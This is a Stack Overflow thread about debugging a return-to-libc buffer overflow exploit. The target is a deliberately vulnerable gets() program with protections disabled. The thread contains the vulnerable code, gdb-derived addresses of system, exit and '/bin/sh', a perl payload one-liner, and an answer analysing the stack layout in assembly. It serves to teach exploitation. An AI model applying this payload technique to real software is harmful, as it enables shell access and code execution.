8

I'm having problems with return-to-libc exploit. The problem is that nothing happens, but no segmentation fault (and yes I'm actually overflowing the stack).

This is my program:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

I'm using gets instead of strcopy, because my addresses start with 0x00 and strcpy thinks it's the end of a string, so I can't use it.

Here are the addresses that I need:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

When inputing the right sequence, this happens:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

so nothing.

But if I enter 520 'A's (0x41), then the EIP is overflown with 'A's. If there's 516 'A', nothing happens but EIP contains the system address, following the exit address, following the /bin/sh pointer.

Why nothing happened?

jschmier
  • 15,458
  • 6
  • 54
  • 72
eleanor
  • 1,514
  • 3
  • 19
  • 40
  • are you running this in an environment that uses ASLR? – Jimmy Feb 17 '11 at 13:10
  • Nope, /proc/sys/kernel/randomize_va_space has 0 (so it's disabled). – eleanor Feb 17 '11 at 13:34
  • there are some other things to try in this question: http://stackoverflow.com/questions/1072224/practicing-buffer-overflow-attack-in-ubuntu – Jimmy Feb 17 '11 at 13:42
  • I have all of those protection mechanisms disabled, I've also compiled with the right flags as -fno-stack-protector, ... So there's no protection, I can overflow my EIP with no problems (I tested with overflowing with 'A's and it went ok). The problem is that the above exploit doesn't work, and I don't know why. Any hints would be appreciated. Did I do something wrong, do I have to put the system address in EIP-4 ? – eleanor Feb 17 '11 at 13:56
  • either gets() stop reading the line when a '\x00' is read, or you're not overflowing enough the buffer ? – Yann Droneaud Feb 17 '11 at 17:36
  • you should also check the stack address and the address of the buffer – Yann Droneaud Feb 17 '11 at 17:40
  • 1
    gets() works with strings too. It will stop at 0x00, just like strcpy, use fread() for binary data. – nos Feb 18 '11 at 00:35
  • looking at the assemble will help. – tristan Feb 18 '11 at 01:28
  • Your processor architecture? is the OS 32 bit? –  Feb 25 '11 at 17:40

1 Answers1

3

Let's do some asm before:

Code

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Asm

$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

The prologue and epilogue (these are with alignment code) is described in detail here Understanding the purpose of some assembly statements

Stack layout:

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

So, if you want to change a return address of main, you should not to change address in stack which will be used by ret, but also to repeat the values saved in stack by (1),(2),(3) pushes. Or you can embed a new return address in the array itself and overwrite only (3) by the your new stack address+4. (use 516 byte string)

I suggest you use this source code to hack it:

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

because f have no problems with stack realignement

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

Stack layout for f():

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

Breakpoint at ret instruction in f() with 520 bytes of "A"

(gdb) x/w $sp
0xXXXXXa3c:     0x41414141
Community
  • 1
  • 1
osgx
  • 90,338
  • 53
  • 357
  • 513
  • Hi. I know how stack works, and I know about stack alignment, and that's not the problem, because I've calculated all that also. The problem is that I cannot save the \x00 on the stack, since it's the '\0' character. – eleanor Feb 20 '11 at 11:59
  • @user620429, I think, you are wrong and gets allows to save a `\0` char in the string. ('d Checked glibc sources). – osgx Feb 20 '11 at 15:46
  • 1
    @user620429, There is shown that `gets` does read of zero bytes http://stackoverflow.com/q/5068278/196561 – osgx Feb 21 '11 at 16:14